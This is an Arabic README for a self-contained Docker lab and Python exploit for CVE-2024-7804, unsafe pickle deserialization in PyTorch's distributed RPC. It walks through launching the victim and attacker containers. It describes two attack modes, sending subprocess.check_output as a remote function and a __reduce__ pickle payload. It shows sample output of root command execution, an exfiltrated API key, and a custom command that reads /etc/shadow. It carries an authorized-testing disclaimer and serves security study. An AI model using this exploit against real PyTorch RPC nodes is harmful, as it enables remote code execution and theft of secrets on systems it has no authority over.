
# مختبر Docker + استغلال Python لـ CVE-2024-7804 (PyTorch torch.distributed.rpc إلغاء تسلسل pickle غير آمن RCE، CWE-502، torch <= 2.3.1)
مختبر ذاتي الاحتواء + استغلال لثغرة CVE-2024-7804: تنفيذ كود عن بُعد في
إطار عمل RPC الموزّع في PyTorch (torch.distributed.rpc) من خلال
إلغاء تسلسل غير آمن لبيانات غير موثوقة (CWE-502).
torch <= 2.3.1torch/distributed/rpc/internal.py — _InternalRPCPickler.deserialize()ملاحظة: تم سحب/رفض هذا التنبيه لاحقًا من قِبل المطوّرين وRed Hat باعتباره "وظيفة معروفة" — نظام PyTorch RPC هو بحكم تصميمه نظام نظير موثوق. لا يزال المختبر عرضًا دقيقًا وعمليًا للمشكلة المُبلَّغ عنها.
كل استدعاء RPC يحمل namedtuple باسم PythonUDF (func, args, kwargs). على
العقدة المستقبِلة يتم إعادة بناؤه باستخدام pickle.Unpickler مكشوف، دون قائمة سماح
ودون أي فحص للسلامة:
# torch/distributed/rpc/internal.py (torch 2.3.1)
def deserialize(self, binary_data, tensor_table):
...
unpickler = _unpickler(io.BytesIO(binary_data)) # _unpickler = pickle.Unpickler
ret = unpickler.load() # <-- pickle يتحكم فيه المهاجم
...
لذلك، أي نظير يمكنه الانضمام إلى "عالم" RPC يمكنه جعل العقدة تنفّذ كودًا
عشوائيًا — إما عبر أداة __reduce__ في pickle تُشغَّل أثناء load()، أو
ببساطة بتسمية أي دالة قابلة للاستيراد كـ UDF، حيث لا يوجد ما يقيّد ما ستنفّذه العقدة.
CVE-2024-7804/
├── docker-compose.yml # الضحية + المهاجم على شبكة bridge واحدة
├── lab/
│ ├── Dockerfile # python:3.11-slim + torch 2.3.1 (CPU) — الصورة القابلة للاستغلال
│ └── server.py # الضحية: عامل RPC موثوق ينتظر النظائر
└── exploit/
└── exploit.py # المهاجم: ينضم إلى العالم وينفّذ RCE على الضحية
Docker مع إضافة Compose. إصدار CPU فقط (بدون GPU)، يعمل على amd64 وarm64.
# 1. تشغيل عقدة الضحية القابلة للاستغلال (المرتبة 0، تنتظر نظيرًا)
docker compose up --build -d victim
# 2. تشغيل الاستغلال (الافتراضي: تنفيذ أمر على الضحية واسترجاع مخرجاته)
docker compose run --rm attacker
# 3. إيقاف كل شيء
docker compose down
[attacker] ===== command output returned from victim =====
uid=0(root) gid=0(root) groups=0(root)
victim
--- exfiltrated secret ---
CLUSTER_API_KEY=sk-live-9c1f4b7e-DO-NOT-LEAK
[attacker] ===== end output =====
نفّذ المهاجم أوامر بصلاحية root على الضحية وسرّب ملفًا لم يكن من المفترض أن يُكشف أبدًا.
| الأمر | ما يوضّحه |
|---|---|
docker compose run --rm attacker | يرسل subprocess.check_output كـ UDF. تنفّذ الضحية الأمر وتعيد مخرجاته — RCE وسرقة بيانات في استدعاء واحد. |
docker compose run --rm attacker python exploit.py --reduce | يرسل كائنًا ينفّذ __reduce__ الخاص به os.system بينما تقوم الضحية بإلغاء تسلسل الحمولة — RCE في وقت إلغاء التسلسل (جوهر CWE-502)، قبل حتى استدعاء UDF. |
أمر مخصص:
docker compose run --rm attacker python exploit.py --cmd "cat /etc/shadow"
بالنسبة لـ --reduce، يتم تنفيذ الأمر على الضحية، لذا راقبه هناك:
docker compose run --rm attacker python exploit.py --reduce --cmd "id"
docker compose logs victim # يظهر المخرج في سجل الضحية
ينتهي سجل الضحية لـ --reduce بتتبع أثر (traceback) عند
torch/distributed/rpc/internal.py، السطر ~207 (python_udf.func(...)) — دليل على أن
الحمولة أُعيد بناؤها ونُفِّذت بالفعل بواسطة أداة إلغاء التسلسل غير الآمنة.
29500) لشبكات غير موثوقة.لأغراض تعليمية واختبارات أمنية مصرّح بها فقط. المختبر قابل للاستغلال عن قصد — لا تنشره، وشغّل الاستغلال فقط ضد هذا المختبر.